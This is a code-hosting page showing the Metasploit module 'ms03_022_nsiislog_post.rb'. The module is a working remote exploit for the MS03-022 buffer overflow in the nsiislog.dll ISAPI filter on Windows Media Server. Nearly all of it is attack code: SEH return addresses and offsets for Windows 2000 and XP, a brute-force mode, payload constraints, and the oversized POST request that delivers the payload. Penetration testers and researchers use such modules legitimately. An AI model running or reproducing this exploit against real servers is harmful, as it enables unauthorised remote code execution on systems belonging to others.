Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::BruteTargets
11
include Msf::Exploit::Remote::Seh
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
18
'Description' => %q{
19
This exploits a buffer overflow found in the nsiislog.dll
20
ISAPI filter that comes with Windows Media Server. This
21
module will also work against the 'patched' MS03-019
22
version. This vulnerability was addressed by MS03-022.
23
},
24
'Author' => [ 'hdm' ],
25
'License' => MSF_LICENSE,
26
'References' => [
27
[ 'CVE', '2003-0349'],
28
[ 'OSVDB', '4535'],
29
[ 'BID', '8035'],
30
[ 'MSB', 'MS03-022'],
31
[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
32
],
33
'Privileged' => false,
34
'Payload' => {
35
'Space' => 1024,
36
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
37
'StackAdjustment' => -3500,
38
39
},
40
'Platform' => 'win',
41
'Targets' => [
42
# SEH offsets by version (Windows 2000)
43
# 4.1.0.3917 = 9992
44
# 4.1.0.3920 = 9992
45
# 4.1.0.3927 = 9992
46
# 4.1.0.3931 = 14092
47
48
['Brute Force', {}],
49
['Windows 2000 -MS03-019', { 'Rets' => [ 9988, 0x40f01333 ] }],
50
['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],
51
['Windows XP -MS03-019', { 'Rets' => [ 9992, 0x40f011e0 ] }],
52
],
53
'DisclosureDate' => '2003-06-25',
54
'DefaultTarget' => 0,
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
66
]
67
)
68
end
69
70
def check
71
res = send_request_raw({
72
'uri' => normalize_uri(datastore['URL'])
73
}, -1)
74
75
if (res and res.body =~ /NetShow ISAPI/)
76
return Exploit::CheckCode::Detected
77
end
78
79
return Exploit::CheckCode::Safe
80
end
81
82
def exploit_target(target)
83
# Create a buffer greater than max SEH offset (16384)
84
pst = rand_text_alphanumeric(256) * 64
85
86
# Create SEH frame and insert into buffer
87
seh = generate_seh_payload(target['Rets'][1])
88
pst[target['Rets'][0], seh.length] = seh
89
90
# Send it to the server
91
print_status("Sending request...")
92
res = send_request_cgi({
93
'uri' => normalize_uri(datastore['URL']),
94
'method' => 'POST',
95
'user-agent' => 'NSPlayer/2.0',
96
'content-type' => 'application/x-www-form-urlencoded',
97
'data' => pst
98
}, 5)
99
100
select(nil, nil, nil, 1)
101
102
handler
103
disconnect
104
end
105
end
106
107